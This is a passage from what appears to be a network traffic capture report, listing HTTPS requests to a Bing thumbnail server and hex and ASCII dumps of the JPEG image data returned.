H+)`2y#?y>4}KG-;`V?Bk52AF_8v,VrZ<+#oG3"-3)k+nV\*oQ_{Y#(akjO{
2024-11-25 04:46:30 UTC	16069	IN	Data Raw: d1 8a 57 01 9b 69 71 4b 81 46 05 17 01 b8 34 b8 a5 c1 a5 c5 17 1d 86 e2 8c 53 b1 46 28 0b 0d c5 18 a5 c1 a5 c5 2b 85 86 60 d1 83 4f c5 18 a2 e3 b3 19 83 46 0d 3f 14 05 a5 71 d8 66 0d 18 35 26 da 4c 51 cc 16 3e 2a 5a 72 e2 91 45 3d 56 be e2 e7 83 ca 0b d6 9e b4 aa 29 e0 52 b8 86 a8 34 f5 14 a1 69 c1 69 5c 05 51 4f 0b 48 b4 f0 29 5c 76 15 45 38 0a 14 53 87 b5 2b 8c 50 31 4b 48 05 3b 14 ee 3b 02 8c d3 94 7a d0 a3 14 f0 31 48 60 a2 9d 48 b4 e0 29 5c 62 81 8a 70 e2 9b 4e 03 34 82 c2 81 4a b9 a0 0c d3 80 f4 a2 e3 01 cd 38 0c 50 29 c3 8a 9e 60 10 7b d3 80 34 01 4a 06 68 e6 00 02 94 0a 51 4b 8a 39 83 50 51 de 9d 8a 45 eb 4e a9 1d 84 03 34 b4 60 d1 4e e1 60 a2 8a 29 00 75 a4 22 96 8a 04 37 06 a1 d5 ef e1 d2 74 5b cd 56 e7 98 6c 6d de e2 41 ea a8 09 23 f1 c6 2a c0 Data Ascii: WiqKF4SF(+`OF?qf5&LQ>ZrE=V)R4ii\QOH)\vE8S+P1KH;;z1H`H)\bpN4J8P)`{4JhQK9PQEN4`N`)u"7t[VlmA#
2024-11-25 04:46:30 UTC	16384	IN	Data Raw: 72 01 7d bc 06 4c 91 d4 71 c7 bd 69 58 f8 0f 4b b4 fb 56 a9 a0 66 d8 4d 6e 4c b6 71 a9 08 ac 39 3f 2f 46 f6 20 67 a8 e6 b0 ec c5 e5 bf 88 61 37 d7 11 9b 3b 98 9f 74 6a ab 20 64 1d 4a 30 0a 4e 0e d3 c8 04 64 f0 3a d7 24 e4 b9 99 e9 50 e6 e5 dc ee be 01 de a5 97 c6 3b 21 38 0e 97 0b 2d ac 6d 8c 14 91 d0 e3 af 18 38 c7 1e b5 f4 5b 8a f9 2b 4e b9 b8 d3 bc 44 fa 9d b0 64 6b 49 d6 68 65 c7 0c ca 55 d0 9e df 30 c1 ed 90 4d 7d 69 6f 3c 77 76 70 dd c5 fe ae e2 35 95 3f dd 65 04 7e 86 be bb 86 eb 29 50 9d 2e a9 df ef 3f 3d e3 bc 33 58 9a 58 95 b4 93 5f 38 bf f8 23 1a 9a 45 48 d4 d2 2b e8 ee 7c 18 cc 1a 55 18 a5 a2 97 30 09 8a 50 31 45 0b d6 86 c7 61 54 62 96 8a 17 a5 4d c7 60 a5 5a 3d e9 68 b8 ac 0b d2 9d 4d 5e b4 ea 57 1f 28 2f 4a 30 68 a2 95 c7 ca 14 ea 17 a5 03 Data Ascii: r}LqiXKVfMnLq9?/F ga7;tj dJ0Nd:$P;!8-m8[+NDdkIheU0M}io<wvp5?e~)P.?=3XX_8#EH+\|U0P1EaTbM`Z=hM^W(/J0h
2024-11-25 04:46:30 UTC	16384	IN	Data Raw: b2 c7 13 02 8e 87 18 6e c4 90 4e 31 ec 29 7d 6e 3d 86 b0 b2 be a7 d6 0d 19 1d 45 37 69 af 04 5f 89 be 34 d3 a4 8e d6 4b b9 9e 35 42 8a cf 18 72 48 ea df 3a e4 fe 3c d6 a6 95 f1 cb 50 8d 52 de ff 00 4f b5 99 e3 61 e6 4a 32 ae ca 3a f0 0e 32 7d 71 c7 a5 69 1c 45 39 2d c8 9e 1a 51 76 b9 ec d8 34 57 94 cd f1 da d4 42 cd 1f 86 66 67 04 6d 3e 7f ca 47 7c f0 0d 17 df 1d ac 84 70 1b 3f 0e ca 49 61 e7 79 d3 e1 76 f7 da 40 ce 7e a2 b4 55 21 dc c7 92 5d 8f 57 00 d2 a8 35 e4 b3 fc 7b b2 59 36 27 85 e6 6f 90 60 9b a1 8d d9 e9 90 bd 31 e9 55 65 f8 ed a9 1b df 26 df c3 76 20 18 cb 03 25 c3 1c 60 64 73 c7 3e d8 14 7b 48 77 1f 23 3d 27 e2 96 b3 79 e1 cf 87 ba a6 b9 61 68 6e 6e 6d 20 2d 12 05 2c 03 13 8d c4 0e c3 39 fc 2b e4 db 8f 14 ea 1a f6 a1 25 fe b5 78 d7 d7 0d fc 52 Data Ascii: nN1)}n=E7i_4K5BrH:<PROaJ2:2}qiE9-Qv4WBfgm>G\|p?Iayv@~U!]W5{Y6'o`1Ue&v %`ds>{Hw#='yahnnm -,9+%xR

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
44	192.168.2.6	49768	150.171.27.10	443

Timestamp	Bytes transferred	Direction	Data
2024-11-25 04:46:29 UTC	346	OUT	GET /th?id=OADD2.10239402414374_1RZXN1BFTHNSAZBQY&pid=21.2&c=3&w=1080&h=1920&dynsize=1&qlt=90 HTTP/1.1 Accept: / Accept-Encoding: gzip, deflate, br User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.102 Safari/537.36 Edge/18.19045 Host: tse1.mm.bing.net Connection: Keep-Alive
2024-11-25 04:46:29 UTC	854	IN	HTTP/1.1 200 OK Cache-Control: public, max-age=2592000 Content-Length: 505458 Content-Type: image/jpeg X-Cache: TCP_HIT Access-Control-Allow-Origin: * Access-Control-Allow-Headers: * Access-Control-Allow-Methods: GET, POST, OPTIONS Timing-Allow-Origin: * Report-To: {"group":"network-errors","max_age":604800,"endpoints":[{"url":"https://aefd.nelreports.net/api/report?cat=bingth&ndcParam=QUZE"}]} NEL: {"report_to":"network-errors","max_age":604800,"success_fraction":0.001,"failure_fraction":1.0} Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Mobile, Sec-CH-UA-Model, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version X-MSEdge-Ref: Ref A: EF4E91EE9DE840B8BA90C2830707E7C8 Ref B: EWR30EDGE0110 Ref C: 2024-11-25T04:46:29Z Date: Mon, 25 Nov 2024 04:46:28 GMT Connection: close
2024-11-25 04:46:29 UTC	15530	IN	Data Raw: ff d8 ff e0 00 10 4a 46 49 46 00 01 01 01 00 48 00 48 00 00 ff e1 00 f4 45 78 69 66 00 00 4d 4d 00 2a 00 00 00 08 00 07 01 12 00 03 00 00 00 01 00 01 00 00 01 1a 00 05 00 00 00 01 00 00 00 62 01 1b 00 05 00 00 00 01 00 00 00 6a 01 28 00 03 00 00 00 01 00 02 00 00 01 31 00 02 00 00 00 3a 00 00 00 72 01 32 00 02 00 00 00 14 00 00 00 ac 87 69 00 04 00 00 00 01 00 00 00 c0 00 00 00 00 00 00 00 60 00 00 00 01 00 00 00 60 00 00 00 01 41 64 6f 62 65 20 50 68 6f 74 6f 73 68 6f 70 20 32 36 2e 31 20 28 32 30 32 34 31 31 30 33 2e 6d 2e 32 38 33 34 20 31 34 64 33 65 37 34 29 20 20 28 57 69 6e 64 6f 77 73 29 00 32 30 32 34 3a 31 31 3a 31 31 20 31 34 3a 34 30 3a 34 33 00 00 03 a0 01 00 03 00 00 00 01 ff ff 00 00 a0 02 00 03 00 00 00 01 04 38 00 00 a0 03 00 03 00 00 00 Data Ascii: JFIFHHExifMM*bj(1:r2i``Adobe Photoshop 26.1 (20241103.m.2834 14d3e74) (Windows)2024:11:11 14:40:438
2024-11-25 04:46:29 UTC	16384	IN	Data Raw: 50 a7 68 51 9e 95 cf 8b c5 43 0b 45 d5 9e c8 e8 c2 e1 6a 62 6b 46 94 37 67 a4 fd 9d f6 ef 7f 95 7f bc df 2a fe 66 b8 ef 1e 78 d3 4b d3 ed 64 d2 f4 75 b1 d6 af 2e 54 c7 2c 6d 20 7b 68 41 e3 e7 ea 1c fb 0a f1 1d 6b 5a d5 ef 97 65 ed ca dd cb 27 32 34 b7 2e ff 00 d7 a5 3f 4a d6 e5 b4 b7 5f 2f ec cb 23 47 b2 36 5f bb 1f bf 4e 6b e4 71 bc 4f 52 70 71 c3 c2 d7 ea ff 00 c8 fa ec 17 0c 50 85 45 2c 4c ee 97 44 ad f8 8f d3 fc 1d 3c fa 84 f1 58 5f 58 b4 96 cc 3c cf de 6d 55 27 b0 e3 26 b5 ee 7c 33 aa db ac 6f 2d 8d b4 bb 98 24 72 2c 9b 77 67 8e 0d 61 78 7f c5 17 76 0a c9 1d b5 b4 83 76 5b 72 85 66 35 b9 75 e2 2f b6 cd a7 89 f4 cd a1 98 9f f5 9b 79 ed 8e d5 f2 15 39 ef a9 f5 b4 a3 87 71 f7 74 61 a9 78 46 ee 1d 3d a4 7d 3e 48 8b 2f fa c8 a7 2d df 91 d6 aa 69 fa 25 e5 Data Ascii: PhQCEjbkF7g*fxKdu.T,m {hAkZe'24.?J_/#G6_NkqORpqPE,LD<X_X<mU'&\|3o-$r,wgaxvv[rf5u/y9qtaxF=}>H/-i%
2024-11-25 04:46:29 UTC	16384	IN	Data Raw: bd f9 b6 c8 bb 79 c7 fb 6a 7f 31 50 de 5b 69 1a a4 71 1d 4b 4c b9 b6 12 b0 dd 3a a8 74 52 4f 5c 1f e5 91 51 29 53 97 bd 38 59 f9 16 a9 56 82 e5 a3 5a eb fb ca ff 00 8e 8f f1 3d 4b c2 fa bd c6 b5 e0 b9 2f e4 d4 2d b5 0b cb 68 9a 35 be b4 64 db 74 8c 32 a5 c7 4d d9 eb 90 0e 7a 8e f5 1d af 8a 34 cd 62 e9 ad f5 4d d0 b5 9d a7 93 15 cc 5f 34 7b f7 ed 93 7c 64 67 f8 57 a6 48 c7 7a e0 3c 41 e1 eb 6d 13 56 8c e8 d2 c9 62 b3 d9 2c 77 32 59 49 b6 39 0b 83 9d c8 dc 7e 07 18 fd 4e 8f 88 3f d1 74 58 25 b0 b6 f3 2e 56 24 32 4b 62 bf 78 87 3b bc c8 4e 76 e7 fd 82 46 47 6a f2 a1 42 9b 7c d1 7a 3d ba 58 f7 2a 62 2b 45 72 cd 6b 1d fa df fa fe 99 e9 4b 6d 3c 36 7f e8 72 c3 3f d8 e3 f9 67 56 1f 32 77 50 f9 04 12 07 ae 0f 1c 55 bb ad 56 c9 e1 82 e2 e2 59 34 d9 7c cd 93 ad ca Data Ascii: yj1P[iqKL:tRO\Q)S8YVZ=K/-h5dt2Mz4bM_4{\|dgWHz<AmVb,w2YI9~N?tX%.V$2Kbx;NvFGjB\|z=X*b+ErkKm<6r?gV2wPUVY4\|
2024-11-25 04:46:30 UTC	16384	IN	Data Raw: 50 8b f6 ae ca 4b 7e 8e fe 68 e1 bc 59 f0 8f c4 cd a4 79 ba 6d ac 7a ac d6 6e 43 49 66 a0 4c d1 81 93 be 3c fc c4 7c a4 15 27 87 ae 1f 45 d0 ce a9 3f 97 68 ed 67 34 4c 36 79 f9 01 9b ba e4 0c 83 5e e1 a5 6b ba cd c7 86 75 73 e1 5d 5e 29 75 a9 2d 96 36 8d 5b 64 d2 26 42 ab c6 bd 77 a7 fe 3c be e0 55 cb 19 fc 3e 9a 7e 93 a2 df d8 d9 da ea 71 5b 08 d5 f5 25 29 f6 89 17 80 1a 55 19 0e 71 fc 58 23 fd aa f5 63 98 62 29 c1 c6 76 6f a5 bf 55 d8 f9 d7 92 60 b1 38 95 38 b6 a2 d6 b7 eb ad 92 52 de fd fa ed b9 e5 bf 14 b5 dd 48 78 7f 43 b4 d5 ec ae 6d af f4 c7 64 49 19 8e d9 13 19 f9 5f a3 29 f9 78 fe 55 4f 4e bf bc f1 0e 82 f3 e9 b7 9f 65 f1 06 9f f3 e2 39 08 7d 4a 25 19 1f f6 d2 30 38 f5 5c 8e c3 3e b1 f1 33 c3 57 10 78 5f 74 5a 7c fa 86 97 1a 83 73 a5 5d b6 f9 2c Data Ascii: PK~hYymznCIfL<\|'E?hg4L6y^kus]^)u-6[d&Bw<U>~q[%)UqX#cb)voU`88RHxCmdI_)xUONe9}J%08\>3Wx_tZ\|s],
2024-11-25 04:46:30 UTC	16384	IN	Data Raw: 72 49 1f 98 23 76 5f 31 76 36 d6 db b8 7a 1f 6a 2b 37 cf 7d 2c 52 e5 b6 b7 38 4a 75 14 57 61 88 51 46 3d a8 a0 02 8a 29 d8 f6 a0 04 5a 5a 5c 51 8a 57 1d 81 69 68 a2 91 01 45 14 50 02 35 32 9c d4 da 68 a0 a4 6a 5a 6b 53 00 a2 8a 00 cd 00 4b 6b 18 96 65 8d e5 58 83 7f cb 49 33 b5 7e b8 c9 af 2d fd a3 fc 75 2e 89 6b ff 00 08 be 95 ff 00 1f 97 91 66 ee 5f f9 e3 19 e8 be c4 ff 00 2a f5 07 9a 0b 4b 59 6f 2e 5d 63 b7 b6 8c c9 2b 37 f0 a2 8c 9a f9 57 c4 1a 8d cf 88 3c 4d 75 aa de ce d2 9b c9 59 d7 77 de f2 c1 f9 14 fa 61 6b c2 ce f1 8e 8d 2e 48 bd 65 f9 1e d6 4b 82 58 8a dc d2 5a 47 f3 e8 62 db e9 f7 bb 9e e2 45 59 9a 5f 92 3f ee c7 9a d1 d3 74 49 21 68 9d db cc 9b f8 63 55 f9 57 dc e6 9d 7d 73 3d 94 2b 24 4b 24 9b 78 8e 36 5e ff 00 5a ad 61 75 ac 5c dd 29 76 66 Data Ascii: rI#v_1v6zj+7},R8JuWaQF=)ZZ\QWihEP52hjZkSKkeXI3~-u.kf_*KYo.]c+7W<MuYwak.HeKXZGbEY_?tI!hcUW}s=+$K$x6^Zau\)vf
2024-11-25 04:46:30 UTC	16384	IN	Data Raw: c4 77 15 da fc 42 f2 35 bb a8 ef e3 56 66 f2 81 92 39 54 2a b6 07 aa e3 9f c2 b8 af 17 21 f0 7e bd 3e 9f ab db 33 db ab 6f 8e 78 bf 84 37 62 3d ba 66 bb 0f 09 ac 1a 87 87 ed a7 37 3f eb 23 22 38 db ae 3b 0c f7 f9 71 51 5d 72 c6 35 3a 1a 60 fd e7 3a 2d eb bd 88 74 ad 3e f5 2f be c9 a6 ff 00 c4 d6 de 38 84 ed 02 47 8b 8b 50 de c3 86 03 f0 35 4f 54 d1 bc 3f 6f aa 4b 2a 2c da 65 c3 46 4b 2d b3 6d 5f 30 7f 7e 36 04 73 e8 00 ad 6d 05 ee 34 4d 79 75 2d 3d 7f 78 a8 63 65 fe 26 00 f6 cf a1 fe 7e f4 9f 10 af cd c4 71 13 02 dc c9 2b 0f 21 17 3b f3 d9 73 d7 6e 7b 64 81 5c ea 72 75 2c b6 67 53 a4 a3 4d ca 4b 63 8e d4 e1 d4 a1 d0 da fe c9 5a ee d2 26 3b 9a 25 2a d0 be 79 2c 9d 40 e7 a8 c8 ab 7f 06 da ee cf c5 56 31 2b 4b 3d 8c b2 6f 95 77 7a 72 5f be 7d c5 76 3e 1d d1 Data Ascii: wB5Vf9T!~>3ox7b=f7?#"8;qQ]r5:`:-t>/8GP5OT?oK,eFK-m_0~6sm4Myu-=xce&~q+!;sn{d\ru,gSMKcZ&;%*y,@V1+K=owzr_}v>
2024-11-25 04:46:30 UTC	16384	IN	Data Raw: 6f 9a e8 7a 55 bd b4 f6 d0 c1 6e 8d e6 33 ae 7e 6e 77 7a e0 8e 9f 8d 59 b8 ba 71 0c 90 5c 5a 2c 73 2c 65 e3 6d a5 83 11 e8 6b 2f c2 fe 30 d1 f5 6b 58 ee ad e5 fd e4 8a 13 ee fd dc 9e 8c 47 15 b7 61 71 0b dd 4f 67 25 b3 5a 15 e7 77 f0 f1 d7 af 6c 77 af 1a ad 39 c6 4d 4d 59 9f 4f 42 b5 3a 90 4e 9c ae 9f 62 0d 33 49 b7 16 6b 2d c6 d5 0a a1 e4 6d db 02 e3 9c ff 00 f5 ea da c7 6d 7e d1 0b d5 58 2c 62 7d ea 92 7c bf 68 23 ee 96 1d 94 75 00 f5 38 f4 a9 f4 d1 6d 7d 24 86 3f f8 f4 8a 4d f1 46 df f2 d8 8f e3 23 fb a0 f4 1f 8f a5 45 7d 65 2c d2 37 ef e3 da cc 7c cd cb c6 3a e0 e7 bf bd 67 77 7d ce 8b 26 b6 12 f2 ed 0e d7 32 ac 96 ea df ea e3 e5 63 1d ba 71 52 c7 6d 1d c3 34 96 f1 33 79 ad bf 6a fc bb 6a 94 9a 6b 41 6e c2 26 99 59 5b 31 ed 53 b7 07 d0 57 37 f1 43 c7 Data Ascii: ozUn3~nwzYq\Z,s,emk/0kXGaqOg%Zwlw9MMYOB:Nb3Ik-mm~X,b}\|h#u8m}$?MF#E}e,7\|:gw}&2cqRm43yjjkAn&Y[1SW7C
2024-11-25 04:46:30 UTC	16067	IN	Data Raw: c3 4d be 97 ec 2b 73 0d f6 0c 52 5c c7 e6 35 99 e5 8e c3 ce d5 dd f4 e3 d7 15 1d af 81 6f 35 1b 7d 2b 51 b3 9e 38 27 96 d3 62 c9 0e 5a 3f 31 5c 91 e6 20 18 78 d9 59 90 fb e2 b9 22 a8 a8 27 73 ba a7 d6 5d 56 b9 7f af eb 53 a1 b3 d3 34 fd 42 6b c4 16 2c cb 72 df 33 47 fb c8 63 7c ee 18 fe e8 cf 6e 38 ad 8d 3e 7b d8 66 d3 41 b3 f3 4a db 49 04 f2 da 37 de 3d 00 6d f9 2b e8 41 c8 fe 99 3e 01 4d 57 48 65 b7 12 b2 5a 34 6d 05 dc 0c 9f be 8c 02 76 84 67 19 64 03 20 02 73 f2 f5 e9 8b 8f e2 3d 0a fe e1 67 d3 75 5b 6b e8 a3 92 41 2b 47 94 68 4a a7 de df d4 30 e4 e4 83 c6 7d 2b cd c4 73 5f 4d 51 ea e1 e3 06 97 36 8d 94 7c 51 ac 5e 69 97 17 56 17 68 b7 31 f9 42 4b 68 e4 c2 6e 40 0e ed bd 49 39 e2 b5 7c 03 a8 cb a0 43 11 8a 75 bc d1 75 38 c5 d4 6d 72 c5 9a 10 f8 dc ac Data Ascii: M+sR\5o5}+Q8'bZ?1\ xY"'s]VS4Bk,r3Gc\|n8>{fAJI7=m+A>MWHeZ4mvgd s=gu[kA+GhJ0}+s_MQ6\|Q^iVh1BKhn@I9\|Cuu8mr
2024-11-25 04:46:30 UTC	16384	IN	Data Raw: d5 3d 80 2e 43 7f df 55 c4 af 7b b6 7b 6e 70 8a e5 8a d0 bd 0d e2 58 2c ae 9b 5e 56 c0 56 ea b8 ef 5b 5e 1b b6 7d 43 c3 32 d8 ca aa cb 74 8c 15 5b a7 b1 ae 69 7c b7 5d 9b 97 fd da dd f0 5d c8 48 da d8 ff 00 cb 16 ca fd 0f 6a 25 a2 ba dc d6 84 b9 a7 ca f6 6b fe 1c 6f 84 5a 4b df 0d b4 77 6b fe 93 03 18 27 5f e2 ca 71 cf e1 8a ca d5 96 48 64 8c 7d e5 8b 2b fa f5 ae 82 18 ff 00 b3 fc 61 3e 5b 6d ae b4 a7 6b 7f 76 e1 07 23 fe 04 bc fb 9a ce d7 21 2a cc b2 ae ef 9b 66 ef 6f 5a d6 3f 1d fa 33 1a b4 da a0 a2 f7 8e 9f 76 df 7a b3 33 2d b6 49 33 03 bb 0a d9 fe b5 a3 1c 7e 63 49 10 fb cd cf e3 59 b6 a8 4c 72 91 f2 98 d7 fe fa ab 9a 54 d9 b3 dc 7e 52 b2 61 97 f8 ba 75 fa 56 f6 38 69 c8 cd be 1b 2f 18 9e ad 9a 9b 45 9e 7b 3d 49 67 8d b6 b2 b7 ca df 5a 76 ac 37 ea 5b Data Ascii: =.CU{{npX,^VV[^}C2t[i\|]]Hj%koZKwk'_qHd}+a>[mkv#!*foZ?3vz3-I3~cIYLrT~RauV8i/E{=IgZv7[
2024-11-25 04:46:30 UTC	16384	IN	Data Raw: 4a cb f0 b7 67 e4 cf 92 7c 75 a0 78 df e0 ff 00 8e 92 11 2d d4 6e df 3d 9d fd a6 44 77 71 83 dc 77 c7 f1 21 fe 44 1a f6 1f 83 5f 18 b4 eb fd 43 4f f1 46 bb a6 cd a7 6a fa 1c be 5c 97 91 29 6b 6b a8 5f 09 24 6f dd 49 07 b6 70 76 f6 e2 ba 4d 6b 44 d4 67 f0 bc 9e 1c d4 2c e5 d7 f4 98 d4 88 20 95 84 7a 9e 9e 47 00 a3 36 04 8c bf 55 dc bf af 9c f8 77 c3 f1 f8 3e fa 7b 6b 9b 1f ed 6b 36 55 4d 52 c6 e5 76 4b 1d b4 c3 0b 2c 7d 32 43 0c 1e 32 ac b8 20 63 35 ef ac 75 3a d1 8d 5b 5a ac 1a b4 96 9f d7 a3 d0 f9 b8 e5 15 70 95 25 4d cd ba 13 4e f1 7a ad 57 df f3 5a f7 3e d9 f0 ee b3 a5 78 83 47 8f 57 d1 6e d6 ea ce 76 22 39 57 d4 75 04 76 23 fc f5 ab d8 f6 af 9a 7e 06 df 78 87 e1 87 c5 9b 1f 03 5c 4b fd a1 e1 9d 7e e0 45 6d 72 d9 fd cc 8d f7 32 47 1b bf 98 cf e1 f4 ce Data Ascii: Jg\|ux-n=Dwqw!D_COFj\)kk_$oIpvMkDg, zG6Uw>{kk6UMRvK,}2C2 c5u:[Zp%MNzWZ>xGWnv"9Wuv#~x\K~Emr2G

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
45	192.168.2.6	49769	150.171.27.10	443

Timestamp	Bytes transferred	Direction	Data
2024-11-25 04:46:29 UTC	375	OUT	GET /th?id=OADD2.10239402414229_1P4RDVHBQE93FAZFW&pid=21.2&c=16&roil=0&roit=0&roir=1&roib=1&w=1920&h=1080&dynsize=1&qlt=90 HTTP/1.1 Accept: / Accept-Encoding: gzip, deflate, br User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.102 Safari/537.36 Edge/18.19045 Host: tse1.mm.bing.net Connection: Keep-Alive
2024-11-25 04:46:29 UTC	856	IN	HTTP/1.1 200 OK Cache-Control: public, max-age=2592000 Content-Length: 510198 Content-Type: image/jpeg X-Cache: TCP_HIT Access-Control-Allow-Origin: * Access-Control-Allow-Headers: * Access-Control-Allow-Methods: GET, POST, OPTIONS Timing-Allow-Origin: * Report-To: {"group":"network-errors","max_age":604800,"endpoints":[{"url":"https://aefd.nelreports.net/api/report?cat=bingth&ndcParam=QUZE"}]} NEL: {"report_to":"network-errors","max_age":604800,"success_fraction":0.001,"failure_fraction":1.0} Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Mobile, Sec-CH-UA-Model, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version X-MSEdge-Ref: Ref A: 085909475CC148EAB3690053C2D6ED3A Ref B: EWR311000104039 Ref C: 2024-11-25T04:46:29Z Date: Mon, 25 Nov 2024 04:46:28 GMT Connection: close
2024-11-25 04:46:29 UTC	15528	IN	Data Raw: ff d8 ff e0 00 10 4a 46 49 46 00 01 01 01 00 48 00 48 00 00 ff e1 00 f4 45 78 69 66 00 00 4d 4d 00 2a 00 00 00 08 00 07 01 12 00 03 00 00 00 01 00 01 00 00 01 1a 00 05 00 00 00 01 00 00 00 62 01 1b 00 05 00 00 00 01 00 00 00 6a 01 28 00 03 00 00 00 01 00 02 00 00 01 31 00 02 00 00 00 3a 00 00 00 72 01 32 00 02 00 00 00 14 00 00 00 ac 87 69 00 04 00 00 00 01 00 00 00 c0 00 00 00 00 00 00 00 60 00 00 00 01 00 00 00 60 00 00 00 01 41 64 6f 62 65 20 50 68 6f 74 6f 73 68 6f 70 20 32 36 2e 31 20 28 32 30 32 34 31 31 30 33 2e 6d 2e 32 38 33 34 20 31 34 64 33 65 37 34 29 20 20 28 57 69 6e 64 6f 77 73 29 00 32 30 32 34 3a 31 31 3a 31 32 20 31 33 3a 32 36 3a 31 33 00 00 03 a0 01 00 03 00 00 00 01 ff ff 00 00 a0 02 00 03 00 00 00 01 07 80 00 00 a0 03 00 03 00 00 00 Data Ascii: JFIFHHExifMM*bj(1:r2i``Adobe Photoshop 26.1 (20241103.m.2834 14d3e74) (Windows)2024:11:12 13:26:13
2024-11-25 04:46:30 UTC	16384	IN	Data Raw: cb e5 cc 71 37 d0 65 cf fe 83 5e 25 6a 0d c5 bc 90 23 7c ca b9 6d df e7 af 15 e9 60 a0 94 5c 8f 2b 1d 36 e6 a2 48 9a 94 f7 d6 b0 3f cb 14 92 61 19 95 76 f0 7a 83 ef 45 fc 56 71 7e fc 4e d9 5f f9 66 bf e3 55 34 d9 de e2 e2 54 91 56 3f 35 88 6d df c3 cf f4 a9 2f ed e4 8a f1 23 f2 16 55 6f bc db be 56 f7 ed 5d f1 5a 9e 6c 9f 52 95 e5 ec 30 43 1b cd f3 2c 8c 42 fc a3 6e 3a d6 46 9f 24 b0 eb 90 4b 1f cc 24 8c 95 dc bb 9b 24 e5 78 1d 6b a3 d4 2c ad f5 0d 2d a0 10 49 fb b8 98 fd dd db 4f 6c 1a 83 c1 76 11 ad d3 4b 71 12 b4 b1 2f ca bf 79 79 c0 5f c6 b6 56 b3 39 dd f9 d7 63 3a fe 0b 97 b8 52 db 9a 58 db e6 f9 7e ef d6 b2 fc 49 1d c3 5b c4 b2 6e 62 ad fd da ed b5 0b 29 16 e1 a5 12 6d dc df 32 ee dd d2 b2 3c 43 26 fd 1e 42 91 36 dd d8 8f 72 ed 6c 8e bc 54 4a 3a 1b Data Ascii: q7e^%j#\|m`\+6H?avzEVq~N_fU4TV?5m/#UoV]ZlR0C,Bn:F$K$$xk,-IOlvKq/yy_V9c:RX~I[nb)m2<C&B6rlTJ:
2024-11-25 04:46:30 UTC	16384	IN	Data Raw: fc b5 26 da 31 ed 40 ac 47 b6 85 5a 93 1e d4 63 da 80 b1 1b 2d 26 da 97 1e d4 98 a0 2c 45 b6 91 96 a6 c6 29 31 ed 40 88 59 69 8c b5 3b 2d 46 c2 9a 02 26 5a 6b 2d 4a c2 9b 8f 6a 4c 08 99 6b c8 3f 6a bd 46 38 ad 74 8d 2c b7 dd 91 ae a5 55 6f 9b 00 6c 5f cf 2d 5e 9f e3 3d 72 d3 c3 9e 1f 9f 54 b9 5f 33 cb c0 8a 25 6d ad 34 87 a2 8f f3 c0 af 9d b5 e9 2e fc 4f e2 89 35 7d 56 7f 32 4d df 77 76 d5 53 d4 2a 83 fc 22 bd 0c 05 27 29 fb 47 b2 3c cc 7d 64 a0 e9 ad d9 e7 fe 34 16 d6 11 c6 77 34 72 5c 7d d8 9b ef 28 7e 73 9f a5 73 7a 80 9e d2 66 b4 76 db b7 e6 66 8a 4d df 5c e3 b5 3b e2 4d c3 c5 e2 a9 64 8e 4f 34 2b 91 fb c5 cb 73 c6 08 f6 ac 88 f5 30 fa 5c 76 ef f3 c9 13 1d bb 5b 69 c1 f5 c5 7d 24 1d 95 8f 96 a9 16 e5 74 4c d6 57 37 5f bb b5 55 65 56 25 59 be 56 6e 3d Data Ascii: &1@GZc-&,E)1@Yi;-F&Zk-JjLk?jF8t,Uol_-^=rT_3%m4.O5}V2MwvS*"')G<}d4w4r\}(~sszfvfM\;MdO4+s0\v[i}$tLW7_UeV%YVn=
2024-11-25 04:46:30 UTC	16384	IN	Data Raw: 23 5b 3d fe d9 26 68 4e d8 d9 73 c6 79 3e 94 ac d6 e4 5d 33 99 f1 65 dc 77 7a 5b 25 d4 f2 44 19 24 31 2c 8b b5 2e bf ba c0 8e e3 ad 70 cc 6e 2c be d2 25 f9 a2 b9 8f 64 72 ab 7c 8c 33 82 47 e3 5e ab e2 0b 0d 2f 52 8e 39 6e 25 b1 8e 68 f0 16 49 24 f9 63 40 73 b5 47 03 24 7b 57 2d a9 78 56 3b fb 85 92 0b 9f dd f0 f2 44 cb f2 aa 2f 65 c7 4c 9a 77 4d 04 24 93 2a f8 3e ca ca df 68 9e 28 e4 ba 9d b2 be 64 db 16 38 c7 b5 6b 43 07 f6 84 97 51 6d 8d ad 55 4c 6a d1 2e df 24 b7 45 27 1f 33 77 f6 a9 af b4 e8 b4 ed b7 f2 45 24 9e 54 78 89 5b 1b 63 03 d3 8c f3 ef 59 9a 3e a4 2d bc 40 df 2c 8d f6 e8 97 ee c6 7e 67 c9 27 eb c1 eb 42 09 6a ca b7 3a e8 87 4b 9e 28 3c d8 ef 20 61 0c bf 31 db 21 ce dd d8 ed 9a b3 e3 8b 51 17 85 ed a7 8a 59 18 ac 90 ed fe 2e ae 3f c6 a4 d4 34 Data Ascii: #[=&hNsy>]3ewz[%D$1,.pn,%dr\|3G^/R9n%hI$c@sG${W-xV;D/eLwM$*>h(d8kCQmULj.$E'3wE$Tx[cY>-@,~g'Bj:K(< a1!QY.?4
2024-11-25 04:46:30 UTC	16384	IN	Data Raw: 53 a5 24 3c 44 1e e7 45 75 77 a7 fd 86 28 93 50 8d 8c 7c 6d 5c f4 e0 1f ce a9 69 b0 95 f1 02 bf cd fb 86 8f 6a b3 6e dc 33 cf e9 58 d6 33 a3 db c6 e9 b5 4a b6 6b 47 49 96 43 a8 3c e2 2f 30 ac 7f 32 ed fc bf 3a e8 8c b4 67 15 4a 4a e9 9a 7e 32 31 4b 6b 1d b5 84 0c 92 49 39 76 fe f3 13 fa e2 96 e3 4a 78 64 80 48 ad 14 6b fe be 46 5d dc 91 d3 e8 3d 69 da 7d b8 95 9a e6 e1 59 84 18 db 1a ff 00 cb 47 ea 7e 8a 2a 7b 8f 10 9b bb 39 ec 42 b4 10 f4 dd e5 86 5c 77 3c fb 66 a7 50 6d 22 6f 87 ba 5c 0d 75 2c b1 45 e6 24 52 15 f3 24 6e e3 e6 cf 15 a9 7e f7 12 5c 47 6d 68 de 61 6c 1b 96 dc 36 46 99 ef 